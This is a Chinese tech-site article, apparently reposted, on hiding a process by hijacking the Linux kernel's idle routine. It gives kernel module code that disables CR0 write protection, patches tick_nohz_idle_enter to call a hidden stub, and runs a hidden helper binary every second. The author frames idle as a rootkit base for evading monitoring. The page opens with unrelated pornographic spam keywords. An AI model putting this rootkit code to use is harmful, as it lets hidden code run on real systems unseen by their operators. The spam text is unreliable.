女人自慰AV免费观看内涵网,日韩国产剧情在线观看网址,神马电影网特片网,最新一级电影欧美,在线观看亚洲欧美日韩,黄色视频在线播放免费观看,ABO涨奶期羡澄,第一导航fulione,美女主播操b

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

如何利用CPU隱藏一個進程

lhl545545 ? 來源:Linuxer ? 作者:Linuxer ? 2020-06-09 15:16 ? 次閱讀

前面談過如何隱藏一個進程,我說過,隱藏procfs接口那無異于掩耳盜鈴,正確的做法應該是將task_struct從任何鏈表中摘除,僅僅保留于run queue。

CPU利用率會暴露你隱藏的進程…

于是hook掉CPU記賬接口…

但是…于是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防御手稍微占優勢。

其實,還有一個好辦法,即劫持idle,這樣我們甚至可以不用管CPU記賬程序, idle多當然好啊,運維們不正期望idle多嗎?idle多沒人會去perf的吧…

測試代碼如下:

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;

void test_stub1(void){ unsigned long i;

local_bh_disable(); // 防止期間時鐘中斷記賬到sys或者si。 local_irq_disable(); // 開始我們的計算任務。 for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();

}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

需要注意的是,計算任務不能睡眠,不能schedule,不能太太太繁重,以免被perf發現。其實,如果機器在機房,電源風扇的轟鳴是可以掩蓋CPU風扇的,不過液冷的話就要另想辦法了。

我們看下效果吧。我用虛擬機測試,下面左邊是宿主機,右邊是虛擬機,沒有劫持idle時的CPU利用率如下:

如何利用CPU隱藏一個進程

下面是劫持后的:

如何利用CPU隱藏一個進程

雖然右邊虛擬機的CPU依然幾乎全部都是idle,和未劫持時沒有差別,然而宿主機的能耗騙不了人。筆記本的風扇噪聲在加大,以至于我不得不用Macs Fan Control將風扇轉速調低,然而鋁殼正在變得發燙。

哪個是真的,哪個是假的,假亦真時真亦假…

我倒是覺得,idle作為Rootkit的根據地還是非常不錯,如果你想執行一些 真正的任務 ,那就call usermodehelper唄,只要確保這個helper完成任務及時退出就行。

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;static unsigned long last = 0;

void test_stub1(void){ unsigned long i;#if 0 local_bh_disable(); local_irq_disable(); for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();#endif //if (jiffies % 1000 == 0 && last != jiffies) { if (jiffies - last 》= 1000) { // /root/run 程序一定不要太猶豫,做完就走。且該程序要以某種方式使readdir無法顯示。 call_usermodehelper(“/root/run”, NULL, NULL, 0); last = jiffies; }}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

run的代碼如下:

#include 《fcntl.h》int main(int argc, char **argv){ int fd = open(“/dev/pts/0”, O_RDWR); write(fd, “aaaaaaaaa

”, 10);}

效果就是在系統壓力不大時,每隔大約1秒中在/dev/pts/0終端打印一串a。

如果run程序執行時間在作為human being的運維人員和經理的視角轉瞬即逝的話,同時run又是一個隱藏文件的話,試問如何發現誰打出的a呢?

運維和經理打字敲回車以及他們的蛋白質眼睛無法分辨200ms以下的事件。
責任編輯:pj

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • cpu
    cpu
    +關注

    關注

    68

    文章

    11052

    瀏覽量

    216244
  • 接口
    +關注

    關注

    33

    文章

    8966

    瀏覽量

    153337
收藏 人收藏

    評論

    相關推薦
    熱點推薦

    主板和CPU東西嗎?有什么區別?

    在數字化浪潮席卷的時代,電腦早已成為現代生活的核心樞紐。而在計算機硬件體系中,主板與CPU堪稱兩大支柱,共同構筑了整臺機器的運算中樞。雖然主板和CPU在功能定位上不同,但它們的協同運作,卻如同精密齒輪的咬合,直接決定了電腦性能的上限。
    的頭像 發表于 06-11 09:19 ?150次閱讀

    linux服務器挖礦病毒處理方案

    情況說明:挖礦進程隱藏CPU占用50%,htop/top卻看不到異常進程),結束挖礦進程后馬上又會運行起來(crontab -l查看發現
    的頭像 發表于 04-09 10:33 ?364次閱讀
    linux服務器挖礦病毒處理方案

    Linux進程狀態詳解

    進程狀態是task_struct內的整數;進行:進程在調度隊列中,進程的狀態都是running,阻塞:等待某種設備或者資源就緒。
    的頭像 發表于 04-01 09:46 ?325次閱讀
    Linux<b class='flag-5'>進程</b>狀態詳解

    進程、線程、協程傻傻分不清?文帶你徹底扒光它們的\"底褲\"!

    是(每個進程可以跑在不同CPU) 是(線程可以分配到不同核) 否(只能在核上蹦迪) 適用場景 銀行系統、docker容器 視頻渲染、實時音視頻 微信客服、高并發Web服務器 社死
    發表于 03-26 09:27

    請問如何在Python中實現多線程與多進程的協作?

    大家好!我最近在開發Python項目時,需要同時處理多個任務,且每個任務需要不同的計算資源。我想通過多線程和多進程的組合來實現并發,但遇到了些問題。 具體來說,我有兩
    發表于 03-11 06:57

    深入解析Linux程序與進程

    什么是程序 組計算機能識別和執行的指令,用于指導計算機執行特定任務或解決特定問題。程序通常由代碼、數據和資源文件組成,涉及語法、算法和數據結構。為二進制文件 什么是進程具有獨
    的頭像 發表于 12-18 11:01 ?426次閱讀
    深入解析Linux程序與<b class='flag-5'>進程</b>

    Linux之CPU調度策略和CPU親和性

    、調度策略 調度進程 單個 CPU次只能執行進程
    的頭像 發表于 12-05 16:38 ?1028次閱讀
    Linux之<b class='flag-5'>CPU</b>調度策略和<b class='flag-5'>CPU</b>親和性

    文搞懂Linux進程的睡眠和喚醒

    優先級、文件描述符(記錄當前進程打開的文件)、主要進程標識的進程號和父進程號: 進程號(PID: Process Identity Num
    發表于 11-04 15:15

    CPU主頻是什么意思

    CPU主頻,作為計算機處理器性能的重要指標,承載著豐富的技術內涵與實際應用價值。以下是對CPU主頻的詳細解析,包括其定義、用途、技術原理、影響因素以及在多個領域的實際應用。
    的頭像 發表于 09-26 15:50 ?4459次閱讀

    雙核cpu和單核cpu的區別

    雙核CPU與單核CPU在多個方面存在顯著差異,這些差異主要體現在處理能力、性能、運行效率、功耗以及適用場景等方面。 、概念與結構 雙核CPU :指在
    的頭像 發表于 09-24 16:17 ?6710次閱讀

    什么是CPU緩存?它有哪些作用?

    CPU緩存(Cache Memory)是計算機系統中至關重要的組成部分,它位于CPU與內存之間,作為兩者之間的臨時存儲器。CPU緩存的主
    的頭像 發表于 08-22 14:54 ?5793次閱讀

    深入探討Linux的進程調度器

    Linux操作系統作為開源且廣泛應用的操作系統,其內核設計包含了許多核心功能,而進程調度器(Scheduler)就是其中至關重要的模
    的頭像 發表于 08-13 13:36 ?1219次閱讀
    深入探討Linux的<b class='flag-5'>進程</b>調度器

    nginx重啟命令linux步驟是什么?

    worker進程,不可能處理其它進程的請求。   worker進程的個數是可以設置的,般我們會設置與機器cpu核數
    發表于 07-11 17:13

    nginx重啟命令linux步驟是什么?

    worker進程,不可能處理其它進程的請求。   worker進程的個數是可以設置的,般我們會設置與機器cpu核數
    發表于 07-10 16:40

    鴻蒙開發:【進程模型概述】

    應用中(同包名)的所有PageAbility、ServiceAbility、DataAbility、FormAbility運行在同一個獨立進程中,即圖中綠色部分的“Main Process”。
    的頭像 發表于 06-22 10:09 ?468次閱讀
    鴻蒙開發:【<b class='flag-5'>進程</b>模型概述】